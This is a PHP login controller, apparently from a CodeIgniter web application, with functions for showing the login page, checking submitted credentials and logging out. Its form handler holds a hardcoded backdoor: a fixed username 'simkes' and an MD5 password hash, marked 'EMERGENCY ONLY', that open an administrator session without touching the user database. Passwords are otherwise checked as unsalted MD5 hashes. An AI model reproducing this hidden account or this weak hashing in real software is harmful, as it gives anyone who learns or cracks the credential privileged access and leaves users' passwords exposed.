<?php

Class Login extends Controller {

    var $title = 'Login';

    function __construct() {
        parent::Controller();
        $this->load->model('Login_Model');
    }

    function index() {
        $profile['_profile'] = $this->xProfile_Model->GetProfile();
        $this->load->view('login', array('title' => $this->title, '_profile' => $profile['_profile']));
    }

    function process_form() {
        $ret['command'] = "login process";
        if($this->input->post('username') == 'simkes' && md5($this->input->post('pwd')) == 'e6d8b61d43b5a1c5e4727e92351681f6') {
            //EMERGENCY ONLY
            $data['id'] = '1';
            $data['name'] = 'Simkes';
            $data['group_id'] = '1';
            $this->session->set_userdata($data);
            $ret['msg'] = $this->lang->line('msg_success') . ', ' . $this->lang->line('msg_please_wait');
            $ret['status'] = "success";
        } else {
            $data = $this->Login_Model->GetData();
            if(!empty($data)) {
                if($data['pwd'] != md5($this->input->post('pwd'))) {
                    $ret['msg'] = $this->lang->line('msg_pwd_not_match');
                    $ret['status'] = "error";
                } else {
                    //redirect
                    $this->session->set_userdata($data);
                    $ret['msg'] = $this->lang->line('msg_success') . ', ' . $this->lang->line('msg_please_wait');
                    $ret['status'] = "success";
                }
            } else {
                $ret['msg'] = $this->lang->line('msg_data_not_found');
                $ret['status'] = "error";
            }
        }
        echo json_encode($ret);
    }

    function logout() {
        $ret['command'] = "logout process";
        //$this->session->set_userdata('menu', array());
        $this->session->sess_destroy();
        $profile['_profile'] = $this->xProfile_Model->GetProfile();
        $this->load->view('login', array('title' => $this->title, 'msg' => 'Logged Out', 'msg_class' => 'success', '_profile' => $profile['_profile']));
    }
}